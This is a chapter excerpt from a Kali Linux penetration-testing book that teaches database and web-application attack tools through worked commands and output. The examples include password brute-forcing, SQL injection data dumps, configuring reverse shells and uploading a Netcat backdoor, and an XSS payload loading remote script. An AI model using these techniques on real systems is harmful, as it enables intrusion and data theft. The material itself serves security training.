Username: Palm Beach State College IP Holder **Book:** Kali Linux – Assuring Security by Penetration Testing. No part of any chapter or book may be reproduced or transmitted in any form by any means without the prior written permission for reprints and excerpts from the publisher of the book or chapter. Redistribution or other use that violates the fair use privilege under U.S. copyright laws (see 17 USC107) or that otherwise violates these Terms of Service is strictly prohibited. Violators will be prosecuted to the full extent of U.S. Federal and Massachusetts laws.

Web application analysis

Most applications that are developed these days integrate different web technologies, which increases the complexity and risk of exposing sensitive data. Web applications have always been a long-standing target for malicious adversaries to steal, manipulate, sabotage, and extort the corporate business. This proliferation of web applications has put forth enormous challenges for penetration testers. The key is to secure both web applications (front-end) and databases (back-end) on top of the network security countermeasures. This is necessary because web applications act as a data-processing system and the database is responsible for storing sensitive data (for example, credit cards, customer details, authentication data, and so on).

In this section, we have divided our approach to test web applications and databases individually. However, it is extremely important for you to understand the basic relationship and architecture of a combined technology infrastructure. The assessment tools provided in Kali Linux can be used to measure the security of web applications and databases in a joint technology evaluation process. You attack the backend via the web page or the frontend (for example, the process of a SQL injection attack).

Database assessment tools

In this section, we have combined all the three categories of Kali Linux database analysis tools (MSSQL, MySQL, and Oracle) and presented the selected tools based on their main functions and capabilities. This set of tools mainly deals with fingerprinting, enumeration, password auditing, and assessing the target with SQL injection attacks, thus allowing an auditor to review the weaknesses found in the front-end web application as well as the back-end database.

> **Note**
>
> To learn more about SQL injection attacks and their types, visit: http://hakipedia.com/index.php/SQL_Injection.

DBPwAudit

DBPwAudit is a Java-based tool designed to audit passwords for Oracle, MySQL, MS-SQL, and IBM DB2 servers. The application design is greatly simplified to allow us to add more database technologies, as required. It helps the pentester to discover valid user accounts on the database management system, if not hardened with a secure password policy. It currently supports the dictionary-based password attack mechanism.

To start DBPwAudit, navigate to **Kali Linux** | **Vulnerability Analysis** | **Database Assessment** | **dbpwaudit** or execute the following command in your shell:

```
# cd /usr/share/dbpwaudit/
# dbpwaudit
```

This will display all the options and usage instructions on your screen. In order to know which database drivers are supported by DBPwAudit, execute the following command:

```
# dbpwaudit -L
```

This will list all the available database drivers that are specific to a particular database management system. It is also important to note their aliases in order to refer to them for test execution.

In order to perform this particular example usage of the tool, we will have to install the MySQL driver. Once the MySQL database driver is in place, we can start auditing the target database server for common user accounts. For this exercise, we have also created two files, `users.txt` and `passwords.txt`, with a list of common usernames and passwords:

```
# dbpwaudit -s 10.2.251.24 -d pokeronline -D MySQL -U \ users.txt -P
passwords.txt
DBPwAudit v0.8 by Patrik Karlsson <patrik@cqure.net>
-------------------------------------------------
[Tue Sep 14 17:55:41 UTC 2013] Starting password audit ...
[Tue Sep 14 17:55:41 UTC 2013] Testing user: root, pass: admin123
[Tue Sep 14 17:55:41 UTC 2013] Testing user: pokertab, pass: admin123
ERROR: message: Access denied for user 'root'@'10.2.206.18' (using
password: YES), code: 1045
[Tue Sep 14 17:55:50 UTC 2013] Testing user: root, pass: RolVer123
ERROR: message: Access denied for user 'pokertab'@'10.2.206.18' (using
password: YES), code: 1045
[Tue Sep 14 17:55:56 UTC 2013] Testing user: pokertab, pass: RolVer123
```

```
...
[Tue Sep 14 17:56:51 UTC 2013] Finnishing password audit ...

Results for password scan against 10.2.251.24 using provider MySQL
-----------------------------------------------------
user: pokertab pass: RolVer123

Tested 12 passwords in 69.823 seconds (0.17186314tries/sec)
```

Hence, we successfully discovered a valid user account. The use of the `-d` command-line switch represents the target database name, `-D` is used for a particular database alias relevant to target DBMS, `-U` is used for the usernames list, and `-P` is for the passwords list.

SQLMap

SQLMap is an advanced and automatic SQL injection tool. Its main purpose is to scan, detect, and exploit the SQL injection flaws for a given URL. It currently supports various **database management systems** (**DBMS**) such as MS-SQL, MySQL, Oracle, and PostgreSQL. It is also capable of identifying other database systems, such as DB2, Informix, Sybase, InterBase, and MS-Access. SQLMap employs four unique SQL injection techniques; these include inferential blind SQL injection, UNION query SQL injection, stacked queries, and time-based blind SQL injection. Its broad range of features and options include database fingerprinting, enumerating, data extracting, accessing the target filesystem, and executing the arbitrary commands with full operating system access. Additionally, it can parse the list of targets from Burp proxy or WebScarab logs as well as the standard text file. SQLMap also provides an opportunity to scan the Google search engine with classified Google dorks to extract specific targets.

> **Note**
>
> To learn about the advanced uses of Google dorks, please visit the Google Hacking Database (GHDB) at: http://www.hackersforcharity.org/ghdb/.

To start SQLMap, navigate to **Kali Linux** | **Vulnerability Analysis** | **Database Assessment** | **sqlmap** or execute the following command in your shell:

```
# cd /usr/share/sqlmap/
# sqlmap -h
```

You will see all the available options that can be used to assess your target. This set of options has been divided into 11 logical categories: target specification, connection request parameters, injection payload, injection techniques, fingerprinting, enumeration options, **user-defined function** (**UDF**) injection, filesystem access, operating system access, Windows registry access, and other miscellaneous options. In the following example, we will use the number of options to fingerprint and enumerate some information from the target application database system:

```
# sqlmap -u "http://testphp.example.com/artists.php?artist=2" -p "artist"
-f -b --current-user --current-db --dbs --users
...
[*] starting at: 11:21:43

[11:21:43] [INFO] using '/usr/share/sqlmap/output/testphp.example.com
/session' as session file
[11:21:43] [INFO] testing connection to the target url
[11:21:45] [INFO] testing if the url is stable, wait a few seconds
[11:21:49] [INFO] url is stable
[11:21:49] [INFO] testing sql injection on GET parameter 'artist' with 0
parenthesis
[11:21:49] [INFO] testing unescaped numeric injection on GET parameter
'artist'
[11:21:51] [INFO] confirming unescaped numeric injection on GET parameter
'artist'
[11:21:53] [INFO] GET parameter 'artist' is unescaped numeric injectable
with 0 parenthesis
[11:21:53] [INFO] testing for parenthesis on injectable parameter
[11:21:56] [INFO] the injectable parameter requires 0 parenthesis
[11:21:56] [INFO] testing MySQL
```

```
[11:21:57] [INFO] confirming MySQL
[11:21:59] [INFO] retrieved: 2
[11:22:11] [INFO] the back-end DBMS is MySQL
[11:22:11] [INFO] fetching banner
[11:22:11] [INFO] retrieved: 5.0.22-Debian_0ubuntu6.06.6-log
[11:27:36] [INFO] the back-end DBMS operating system is Linux Debian or
Ubuntu
...
[11:28:00] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper
Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS operating system: Linux Debian or Ubuntu
back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.38
               comment injection fingerprint: MySQL 5.0.22
               banner parsing fingerprint: MySQL 5.0.22, logging enabled
               html error message fingerprint: MySQL

[11:31:49] [INFO] fetching banner
[11:31:49] [INFO] the back-end DBMS operating system is Linux Debian or
Ubuntu
banner:    '5.0.22-Debian_0ubuntu6.06.6-log'

[11:31:49] [INFO] fetching current user
[11:31:49] [INFO] retrieved: fanart@localhost
current user:    'fanart@localhost'
[11:34:47] [INFO] fetching current database
[11:34:47] [INFO] retrieved: fanart
current database:    'fanart'

[11:35:57] [INFO] fetching database users
[11:35:57] [INFO] fetching number of database users
[11:35:57] [INFO] retrieved: 1
[11:36:04] [INFO] retrieved: 'fanart'@'localhost'
database management system users [1]:
[*] 'fanart'@'localhost'

[11:39:56] [INFO] fetching database names
[11:39:56] [INFO] fetching number of databases
[11:39:56] [INFO] retrieved: 3
[11:40:05] [INFO] retrieved: information_schema
[11:43:18] [INFO] retrieved: fanart
[11:44:24] [INFO] retrieved: modrewriteShop
available databases [3]:
[*] fanart
[*] information_schema
[*] modrewriteShop

[11:47:05] [INFO] Fetched data logged to text files under '/usr/share
/sqlmap/output/testphp.example.com'
...
```

At this point, we have to successfully inject the `artist` parameter . If you noticed, the `-p` option is used to define the selective parameter to be targeted within a URL. By default, SQLMap will scan all the available parameters (GET, POST, HTTP Cookie, and User-Agent) but we have restricted this option by defining the exact parameter (`-p "parameter1, parameter2"`) to inject. This will speed up the process of the SQL injection and allow us to efficiently retrieve the data from the back-end database. In our second test, we will demonstrate the use of `--tables` and the `-D` option to extract the list of tables from a `fanart` database as follows:

```
# sqlmap -u "http://testphp.example.com/artists.php?artist=2" --tables -D
fanart -v 0
[*] starting at: 12:03:53
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper
Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5

Database: fanart
[7 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| users     |
+-----------+
```

You should notice that the target fingerprint data has been retrieved from a previous session because the same URL was given as a target and the whole process does not need to restart. This phenomenon is very useful when you want to stop and save the current test session and resume it on a later date. At this point, we can also select to automate the database-dumping process using the `--dump` or `--dump all` option. More advanced options such as `--os-cmd` , `--os-shell` , or `--os-pwn` will help the penetration tester to gain remote access to the system and execute arbitrary commands. However, this feature is workable only on the MS-SQL, MySQL, and PostgreSQL database, which underlies an operating system. In order to do more practice-based pen-testing on the other set of options, we recommend you go through the examples in the tutorial at: http://sqlmap.sourceforge.net/doc/README.html.

> **Note**
>
> **Which options in SQLMap support the use of Metasploit Framework?**
>
> The `--os-pwn` , `--os-smbrelay` , `--priv-esc` , and `--msf-path` options will provide you with an instant capability to access the underlying operating system of the database management system. This capability can be accomplished via three types of payload: meterpreter shell, interactive command prompt, or GUI access (VNC).

SQL Ninja

SQL Ninja is a specialized tool that is developed to target those web applications that use MS-SQL Server on the back-end and are vulnerable to SQL injection flaws. Its main goal is to exploit these vulnerabilities to take over the remote database server through an interactive command shell instead of just extracting the data out of the database. It includes various options to perform this task, such as server fingerprint, password brute force, privilege escalation, upload remote backdoor, direct shell, backscan connect shell (firewall bypass), reverse shell, DNS tunneling, single command execution, and Metasploit integration. Thus, it is not a tool that scans and discovers the SQL injection vulnerabilities but one that exploits any such existing vulnerability to gain OS access.

Note that SQL Ninja is not a beginner's tool! If you run into issues setting up this tool and using it, please read the instructions provided by the tool's creator to make sure that you understand it fully before using it in production.

To start SQL Ninja, navigate to **Kali Linux** | **Vulnerability Analysis** | **Database Assessment** | **sqlninja** or execute the following command in your shell:

```
# sqlninja
```

You will see all the available options on your screen. Before we start our test, we update the configuration file to reflect all the target parameters and exploit options. First, you must extract the example configuration file, copy and rename it to the appropriate directory, and make a few adjustments to the file as follows:

```
# cd /usr/share/doc/sqlninja/
# gzip -d sqlninja.conf.example.gz
# cp sqlninja.conf.example.gz /usr/share/sqlninja/sqlninja.conf
```

Then, you must edit the configuration file appropriately to match your testing. You will need to uncomment those settings in the configuration file that you would like to have parsed and replace the settings within the file that you would like to run. The following is an example of some settings that we modified, in addition to uncommenting the appropriate sections:

```
# vim sqlninja.conf
...
# Host (required)
host = testasp.example.com

# Port (optional, default: 80)
port = 80
# Vulnerable page (e.g.: /dir/target.asp)
page = /showforum.asp

stringstart = id=0;

# Local host: your IP address (for backscan and revshell modes)
lhost = 192.168.0.3

msfpath = /usr/share/exploits/framework3

# Name of the procedure to use/create to launch commands. Default is
# "xp_cmdshell". If set to "NULL", openrowset+sp_oacreate will be used
# for each command
xp_name = xp_cmdshell
...
```

Note that we have only presented those parameters that require changes to our selected values. All the other options have been left as `default`. It is necessary to examine any possible SQL injection vulnerability using other tools before you start using SQL Ninja. Once the configuration file has been set up correctly, you can test it against your target if the defined variables work properly. We will use the attack mode `-m` with `t/test`:

```
# sqlninja -m t
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
[+] Target is: testasp.targetdomain.com
[+] Trying to inject a 'waitfor delay'....
[+] Injection was successful! Let's rock !! :)
...
```

As you can see, our configuration file has been parsed and the blind injection test was successful. We can now move our steps to fingerprint the target and get more information about SQL Server and its underlying operating system privileges:

```
# sqlninja -m f
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
[+] Target is: testasp.example.com
What do you want to discover ?
```

```
  0 - Database version (2000/2005)
  1 - Database user
  2 - Database user rights
  3 - Whether xp_cmdshell is working
  4 - Whether mixed or Windows-only authentication is used
  a - All of the above
  h - Print this menu
  q - exit
> a
[+] Checking SQL Server version...
  Target: Microsoft SQL Server 2005
[+] Checking whether we are sysadmin...
  No, we are not 'sa'.... :/
[+] Finding dbuser length...
  Got it ! Length = 8
[+] Now going for the characters........
  DB User is....: achcMiU9
[+] Checking whether user is member of sysadmin server role....
  You are an administrator !
[+] Checking whether xp_cmdshell is available
  xp_cmdshell seems to be available :)
  Mixed authentication seems to be used
> q
...
```

This shows us that the target system is vulnerable and not hardened with a better database security policy. From here, we get an opportunity to upload a Netcat backdoor, which would allow you some persistence and use any type of shell to get an interactive command prompt from a compromised target. Also, the Metasploit attack mode is the most frequently used choice that provides you with more penetration.

```
# sqlninja -m u
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file..............
[+] Target is: testasp.targetdomain.com
  File to upload:
  shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
> 1
[+] Uploading scripts/nc.scr debug script...........
1540/1540 lines written
done !
[+] Converting script to executable... might take a while
[+] Completed: nc.exe is uploaded and available !
```

We have now successfully uploaded the backdoor that can be used to get `s/dirshell`, `k/backscan`, or `r/revshell`. Moreover, an advanced option such as `m/metasploit` can also be used to gain GUI access to the remote machine using SQL Ninja as a wrapper for the Metasploit framework. More information on SQL Ninja's usage and configuration is available at http://sqlninja.sourceforge.net/sqlninja-howto.html.

Web application assessment

The tools presented in this section mainly focus on the front-end security of web infrastructure. They can be used to identify, analyze, and exploit a wide range of application security vulnerabilities. These include **cross-site scripting** (**XSS**), SQL injection, SSI injection, XML injection, application misconfiguration, abuse of functionality, session prediction, information disclosure, and many other attacks and weaknesses. There are various standards to classify these application vulnerabilities, which have been previously discussed in the *Vulnerability taxonomy* section. In order to understand the nuts and bolts of these vulnerabilities, we strongly recommend you to go through these standards.

Burp Suite

Burp Suite is a combination of powerful web application security tools. These tools demonstrate the real-world capabilities of an attacker penetrating web applications. They can scan, analyze, and exploit web applications using manual and automated techniques. The integration facility between the interfaces of these tools provides a complete attack platform to share information between one or more tools. This makes the Burp Suite a very effective and easy-to-use web application attack framework.

To start Burp Suite, navigate to **Kali Linux** | **Web Applications** | **Web Vulnerability Scanners** | **burpsuite** or use the console to execute the following command:

```
# burpsuite
```

You will be presented with a Burp Suite window on your screen. All the integrated tools (**Target**, **Proxy**, **Spider**, **Scanner**, **Intruder**, **Repeater**, **Sequencer**, **Decoder**, and **Comparer**) can be accessed via their individual tabs. You can get more details about their usage and configuration through the **Help** menu or by visiting http://www.portswigger.net/burp/help/. In our exercise, we will analyze a small web application using a number of Burp Suite tools. Note that Burp Suite is available in two different editions: free and commercial. The one available in Kali Linux is a free edition. The steps to detect the possibility of a SQL injection vulnerability are listed as follows:

1. First, navigate to **Proxy** | **Options** and verify the **proxy listeners** property. In our case, we left the default settings to listen on port **8080**. More options such as host redirection, SSL certificate, client request interception, server response interception, page properties, and header modifications can be used to match your application's assessment criteria.
2. Navigate to **Proxy** | **Intercept** and verify that the **intercept is on** tab is enabled.
3. Open your favorite browser (Firefox, for example) and set up the local proxy for HTTP/HTTPs transactions (`127.0.0.1, 8080`) to intercept, inspect, and modify the requests between the browser and target web application. All the consequent responses will be recorded accordingly. Here, the Burp Suite application acts as the **man-in-the-middle** (**MITM**) proxy.
4. Surf the target website (for example, `http://testphp.example.com`) and you will notice that the request has been trapped under **Proxy** | **Intercept**. In our case, we decide to forward this request without any modification. If you decide to modify any such request, you can do so with the **Raw**, **Headers**, or **Hex** tabs. Note that any other target application resources (for example, images and flash files) might generate individual requests while accessing the index page.
5. We strongly recommend you to visit as many pages as possible and try to help Burp Suite index the list of available pages mainly with the **GET** and **POST** requests. You can also use **Spider** to automate this process. To accomplish indexing with **Spider**, navigate to **Target** | **Site map,** right-click on your target website (for example, `http://testphp.example.com`), and select **spider this host**. This will help you discover and scan the number of available pages automatically and follow up any form requests manually (for example, the login page). Once this operation is over, you can navigate to **Target** | **Site map** and check the right-side panel with the list of accessible web pages and their properties (methods, URLs, parameters, response code, and so on).
6. Select a web page with the **GET** or **POST** parameters in order to test it with **Intruder**. The key is to enumerate possible identifiers, harvest useful data, and fuzz the parameters for known vulnerabilities. Right-click on the selected request and choose **send to intruder**. In our case, we select `http://testphp.example.com/listproducts.php?artist=2` to find out the known vulnerabilities by injecting the variable length of characters instead of `2` .
7. In the next step, we define the attack type and payload position (**Intruder** | **Positions**) to automate our test cases. The notification for the payload placement is given by the **§2§** signature. We then step into the **Intruder** | **Payloads** section to choose the specific payload from a predefined list, **Character blocks**. Remember, you can also specify your own custom payload. Once the whole setting is in place, navigate to **Intruder** | **Start** in the menu bar. This will pop up another window that lists all requests being executed against the target application. After these requests have been processed as per the chosen payload, we decide to compare certain responses in order to identify unexpected application behavior. This can be done by simply right-clicking on the selected request and choosing **send to comparer**. At least two or more different requests or responses can be compared based on **words** or **bytes**. To learn more about different attack types visit http://www.portswigger.net/burp/help/intruder_positions.html#attacktype, while to understand the payload types payload options, visit http://www.portswigger.net/burp/help/intruder_payloads_types.html.
8. During the response comparison, we discovered the SQL injection vulnerability with one of our payload requests. Hence, to verify its authenticity, we decided to simulate that request again with **Repeater** by right-clicking on it and selecting **send request to repeater** instead of selecting comparer from a pop-up window. Click on the **go** button under the **Repeater** tab in order to get a response for the desired request. You will notice the response instantly. In our case, we notice the following error in a response page:

```
Error: Unknown column
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in
'where clause'
 Warning : mysql_fetch_array(): supplied argument is not a valid
MySQL result resource in /var/www/vhosts/default/htdocs
/listproducts.php on line 74
```

9. This clearly shows us the possibility of the SQL injection vulnerability. Beside these kind of weaknesses, we can also test our application session tokens for randomness using **sequencer** to uncover the session prediction vulnerability. The basic use of **sequencer** has been mentioned at http://www.portswigger.net/suite/sequencerhelp.html.

Burp Suite, as an all-in-one application security toolkit, is a very extensive and powerful web application attack platform. To explain each part of it is out of scope of this book. Hence, we strongly suggest you to go through its website (http://www.portswigger.net) for more detailed examples.

Nikto2

Nikto2 is a basic web server security scanner. It scans and detects the security vulnerabilities caused by server misconfiguration, default and insecure files, and outdated server application. Nikto2 is purely built on LibWhisker2, and thus supports cross-platform deployment, SSL, host authentication methods (NTLM/Basic), proxies, and several IDS evasion techniques. It also supports subdomain enumeration, application security checks (XSS, SQL injection, and so on), and is capable of guessing the authorization credentials using a dictionary-based attack method.

To start Nikto2, navigate to **Kali Linux** | **Web Applications** | **Web Vulnerability Scanners** | **nikto** or use the console to execute the following command:

```
# nikto
```

This will display all the options with their extended features. In our exercise, we select to execute a specific set of tests against the target using the `-T` tuning option. In order to learn more about each option and its usage, visit http://cirt.net/nikto2-docs/.

```
# nikto -h testphp.example.com -p 80 -T 3478b -t 3 -D \ V -o webtest -F htm
- Nikto v2.1.5
---------------------------------------------------------------
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apache_expect_xss
V:Sat Sep 18 14:39:37 2013 - Loaded "Apache Expect XSS" plugin.
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apacheusers
V:Sat Sep 18 14:39:37 2013 - Loaded "Apache Users" plugin.
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_cgi
V:Sat Sep 18 14:39:37 2013 - Loaded "CGI" plugin.
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_core
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_dictionary_attack
...
V:Sat Sep 18 14:39:38 2013 - Checking for HTTP on port 10.2.87.158:80,
using HEAD
V:Sat Sep 18 14:39:38 2013 - Opening reports
V:Sat Sep 18 14:39:38 2013 - Opening report for "Report as HTML" plugin
+ Target IP:          10.2.87.158
+ Target Hostname:    testphp.example.com
+ Target Port:        80
+ Start Time:         2013-09-19 14:39:38
---------------------------------------------------------------------------
+ Server: Apache/2.0.55 (Ubuntu) mod_python/3.1.4 Python/2.4.3 PHP/5.1.2
mod_ssl/2.0.55 OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7
V:Sat Sep 18 14:39:40 2013 - 21 server checks loaded
V:Sat Sep 18 14:39:41 2013 - Testing error for file: /.g89xvYXD
...
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is
vulnerable to XST
V:Sat Sep 18 14:40:49 2013 - Running scan for "Server Messages" plugin
+ OSVDB-0: mod_ssl/2.0.55 OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7 -
mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which
may allow a remote shell (difficult to exploit). http://cve.mitre.org
/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
...
V:Sat Sep 18 14:41:04 2013 - 404 for GET:       /tiki/tiki-install.php
V:Sat Sep 18 14:41:05 2013 - 404 for GET:       /scripts/samples
/details.idc
+ 21 items checked: 15 item(s) reported on remote host
+ End Time:           2013-09-19 14:41:05 (87 seconds)
---------------------------------------------------------------
+ 1 host(s) tested
```

```
V:Sat Sep 18 14:41:05 2013 + 135 requests made
```

We mainly select to execute specific tests (**Information Disclosure**, **Injection (XSS/Script/HTML)**, **Remote File Retrieval (Server Wide)**, **Command Execution**, and **Software Identification**) against our target server using the `-T` command-line switch with individual test numbers referring to the mentioned test types. The use of `-t` represents the timeout value in seconds for each test request; `-D V` controls the display output; `-o` and `-F` defines scan report to be written in a particular format. There are other advanced options such as `–mutate` (to guess subdomains, files, directories, usernames), `-evasion` (to bypass the IDS filter), and `-Single` (for single test mode) that you can use to assess your target in depth.

Paros proxy

Paros proxy is a valuable and intensive vulnerability assessment tool. It spiders through the entire website and executes various vulnerability tests. It also allows an auditor to intercept the web traffic (HTTP/HTTPs) by setting up the local proxy between the browser and the actual target application. This mechanism helps an auditor tamper or manipulate with particular requests being made to the target application in order to test it manually. Thus, Paros proxy acts as an active and passive web application security assessment tool.

To start Paros proxy, navigate to **Kali Linux** | **Web Applications** | **Web Application Proxies** | **Paros** or use the console to execute the following command:

```
# paros
```

This will bring up the Paros proxy window. Before you go through any practical exercises, you need to set up a local proxy (`127.0.0.1` , `8080`) in your favorite browser. If you need to change any default settings, navigate to **Tools** | **Options** in the menu bar. This will allow you to modify the connection settings, local proxy values, HTTP authentication, and other relevant information. Once your browser has been set up, visit your target website. The following are the steps for vulnerability testing and obtaining its report:

1. In our case, we browse through `http://testphp.example.com` and notice that it has appeared under the **Sites** tab of **Paros Proxy**.
2. Right-click on `http://testphp.example.com` and choose **Spider** to crawl through the entire website. This will take some minutes depending on how big your website is.
3. Once the website crawling has finished, you can see all the discovered pages in the **Spider** tab at the bottom. Additionally, you can chase up the particular request and response for a desired page by selecting the target website and choosing a specific page on the left-hand panel of the **Sites** tab.
4. In order to trap any further requests and responses, go to the **Trap** tab on the right-hand panel. This is particularly useful when you decide to throw some manual tests against the target application. Moreover, you can also construct your own HTTP request by navigating to **Tools** | **Manual Request Editor**.
5. To execute the automated vulnerability testing, we select the target website under the **Sites** tab and navigate to **Analyze** | **Scan All** from the menu. Note that you can still select the specific types of security tests by navigating to **Analyze** | **Scan Policy** and then navigating to **Analyze** | **Scan** instead of selecting **Scan All**.
6. Once the vulnerability testing is complete, you can see a number of security alerts on the **Alerts** tab at the bottom. These are categorized as the **High**, **Low**, and **Medium** type risk levels.
7. If you would like to have the scan report, navigate to **Report** | **Last Scan Report** in the menu bar. This will generate a report that lists all the vulnerabilities found during the test session (`/root/paros/session/LatestScannedReport.html`).

We will make use of the basic vulnerability assessment test for our exemplary scenario. To get more familiar with various options offered by Paros proxy, we recommend you read the user guide available at http://www.i-pi.com/Training/SecTesting/paros_user_guide.pdf.

W3AF

W3AF is a feature-rich web application attack and audit framework that aims to detect and exploit the web vulnerabilities. The whole application security assessment process is automated and the framework is designed to follow three major steps: discovery, audit, and attack. Each of these steps includes several plugins, which might help the auditor focus on a specific testing criteria. All these plugins can communicate and share test data in order to achieve the required goal. It supports the detection and exploitation of multiple web application vulnerabilities including SQL injection, cross-site scripting, remote and local file inclusion, buffer overflows, XPath injections, OS commanding, application misconfiguration, and so forth. To get more information about each available plugin, go to: http://w3af.sourceforge.net/plugin-descriptions.php.

To start W3AF, navigate to **Kali Linux** | **Web Applications** | **Web Vulnerability Scanners** | **w3af (Console)** or use the console to execute the following command:

```
# w3af_console
```

This will drop you into a personalized W3AF console mode (**w3af>>>**). Note that the GUI version of this tool is also available in the location of the same menu but we preferred to introduce the console version to you because of flexibility and customization.

```
w3af>>> help
```

This will display all the basic options that can be used to configure the test. You can use the `help` command whenever you require any assistance to follow the specific option. In our exercise, we will first configure the `output` plugin, enable the selected `audit` tests, set up `target`, and execute the scan process against the target website using the following commands:

```
w3af>>> plugins
w3af/plugins>>> help
w3af/plugins>>> output
w3af/plugins>>> output console, htmlFile
w3af/plugins>>> output config htmlFile
w3af/plugins/output/config:htmlFile>>> help
w3af/plugins/output/config:htmlFile>>> view
w3af/plugins/output/config:htmlFile>>> set verbose True
w3af/plugins/output/config:htmlFile>>> set fileName testreport.html
w3af/plugins/output/config:htmlFile>>> back
w3af/plugins>>> output config console
w3af/plugins/output/config:console>>> help
w3af/plugins/output/config:console>>> view
w3af/plugins/output/config:console>>> set verbose False
w3af/plugins/output/config:console>>> back
w3af/plugins>>> audit
w3af/plugins>>> audit htaccessMethods, osCommanding, sqli, xss
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> help
w3af/config:target>>> view
w3af/config:target>>> set target http://testphp.example.com/
w3af/config:target>>> back
w3af>>>
```

At this point, we have configured all the required test parameters. Our target will be evaluated against the SQL injection, cross-site scripting, OS commanding, and `htaccess` misconfiguration using the following code:

```
w3af>>> start
Auto-enabling plugin: grep.error500
Auto-enabling plugin: grep.httpAuthDetect
Found 2 URLs and 2 different points of injection.
The list of URLs is:
- http://testphp.example.com/
- http://testphp.example.com/search.php?test=query
The list of fuzzable requests is:
- http://testphp.example.com/ | Method: GET
- http://testphp.example.com/search.php?test=query | Method: POST |
Parameters: (searchFor="")
Starting sqli plugin execution.
Starting osCommanding plugin execution.
A possible OS Commanding was found at: "http://testphp.example.com
/search.php?test=query", using HTTP method POST. The sent post-data was:
"searchFor=run+ping+-n+3+localhost&goButton=go".Please review manually.
This information was found in the request with id 22.
Starting xss plugin execution.
Cross Site Scripting was found at: "http://testphp.example.com
/search.php?test=query",using HTTP method POST. The sent post-data was:
```

```
"searchFor=<ScRIPt/SrC=http://x4Xp/x.js></ScRIPt>&goButton=go". This
vulnerability affects Internet Explorer 6,Internet Explorer 7,Netscape
with IE rendering engine,Mozilla Firefox,Netscape with Gecko rendering
engine. This vulnerability was found in the request with id 39.
Starting htaccessMethods plugin execution.
Finished scanning process.
```

As you can see, we have discovered some serious security vulnerabilities in the target web application. As per our configuration, the default location for the test report (HTML) is `/usr/share/web/w3af/testreport.html`, which details all the vulnerabilities including the debug information about each request and response data transferred between W3AF and target web application. The test case that we presented in the preceding code does not reflect the use of other useful `plugins`, `profiles`, and `exploit` options. Hence, we strongly recommend you to drill through various exercises present in the user guide, which are available at http://w3af.sourceforge.net/documentation/user/w3afUsersGuide.pdf.

WafW00f

WafW00f is a very useful python script, capable of detecting the **web application firewall** (**WAF**). This tool is particularly useful when the penetration tester wants to inspect the target application server and might get a fallback with certain vulnerability assessment techniques, for which the web application is actively protected by firewall. Thus, detecting the firewall sitting in between application server and Internet traffic not only improves the testing strategy, but also presents exceptional challenges for the penetration tester to develop the advanced evasion techniques.

To start WafW00f, use the console to execute the following command:

```
# wafw00f
```

This will display a simple usage instruction and example on your screen. In our exercise, we are going to analyze the target website for the possibility of a web application firewall as follows:

```
# wafw00f http://www.example.net/
    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://www.example.net/
The site http://www.example.net/ is behind a dotDefender
Number of requests: 5
```

The result proves that the target application server is running behind the firewall (for example, `dotDefender`). Using this information, we could further investigate the possible ways to bypass WAF. These could involve techniques such as the HTTP parameter pollution, null-byte replacement, normalization, and encoding the malicious URL string into hex or Unicode.

WebScarab

WebScarab is a powerful web application security assessment tool. It has several modes of operation but is mainly operated through the intercept proxy. This proxy sits in between the end user's browser and the target web application to monitor and modify the requests and responses that are being transmitted on either side. This process helps the auditor manually craft the malicious request and observe the response thrown back by the web application. It has a number of integrated tools, such as fuzzer, session ID analysis, spider, web services analyzer, XSS and CRLF vulnerability scanner, transcoder, and others.

To start WebScarab lite, navigate to **Kali Linux** | **Web Applications** | **Web Vulnerability Scanners** | **webscarab** or use the console to execute the following command:

```
# webscarab
```

This will pop up the lite edition of WebScarab. For our exercise, we are going to transform it into a full-featured edition by navigating to **Tools** | **Use full-featured interface** in the menu bar. This will confirm the selection and you should restart the application accordingly. Once you restart the WebScarab application, you will see a number of tool tabs on your screen. Before we start our exercise, we need to configure the browser to the local proxy (`127.0.0.1`, `8008`) in order to browse the target application via the WebScarab intercept proxy. If you want to change the local proxy (IP address or port), then navigate to the **Proxy** | **Listeners** tab. The following steps will help you analyze the target application's session ID:

1. Once the local proxy has been set up, you should browse the target website (for example, `http://testphp.example.com/`) and visit as many links as possible. This will increase the probability and chance of catching the known and unknown vulnerabilities. Alternatively, you can select the target under the **Summary** tab, right-click, and choose **Spider tree**. This will fetch all the available links in the target application.
2. If you want to check the request and response data for the particular page mentioned at the bottom of the **Summary** tab, double-click on it and see the parsed request in a tabular and raw format. However, the response can be viewed in the **HTML**, **XML**, **Text**, and **Hex** formats.

